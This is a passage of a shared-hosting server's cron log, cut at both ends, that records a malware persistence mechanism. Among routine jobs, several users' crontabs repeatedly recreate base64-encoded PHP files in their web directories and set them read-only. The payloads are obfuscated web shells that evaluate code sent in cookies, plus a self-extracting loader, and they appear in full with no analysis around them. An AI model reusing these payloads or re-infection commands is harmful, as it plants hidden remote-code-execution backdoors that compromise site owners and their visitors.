"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:21:02 medusa CROND[11294]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:21:02 medusa CROND[11293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:21:02 medusa CROND[11301]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:21:02 medusa CROND[11302]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:21:02 medusa CROND[11303]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 10:21:02 medusa CROND[11305]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:22:01 medusa CROND[628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:22:01 medusa CROND[731]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 10:22:01 medusa CROND[732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:22:01 medusa CROND[736]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:22:01 medusa CROND[738]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:22:01 medusa CROND[739]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:22:01 medusa CROND[743]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:22:01 medusa CROND[745]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:22:01 medusa CROND[746]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:22:01 medusa CROND[748]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:22:01 medusa CROND[749]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:22:01 medusa CROND[744]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:22:01 medusa CROND[751]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 10:22:01 medusa CROND[752]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:23:01 medusa CROND[22990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:23:01 medusa CROND[23033]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:23:02 medusa CROND[23088]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 10:23:02 medusa CROND[23119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:23:02 medusa CROND[23120]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:23:02 medusa CROND[23124]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:23:02 medusa CROND[23125]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:23:02 medusa CROND[23126]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:23:02 medusa CROND[23127]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:23:02 medusa CROND[23129]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:23:02 medusa CROND[23130]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 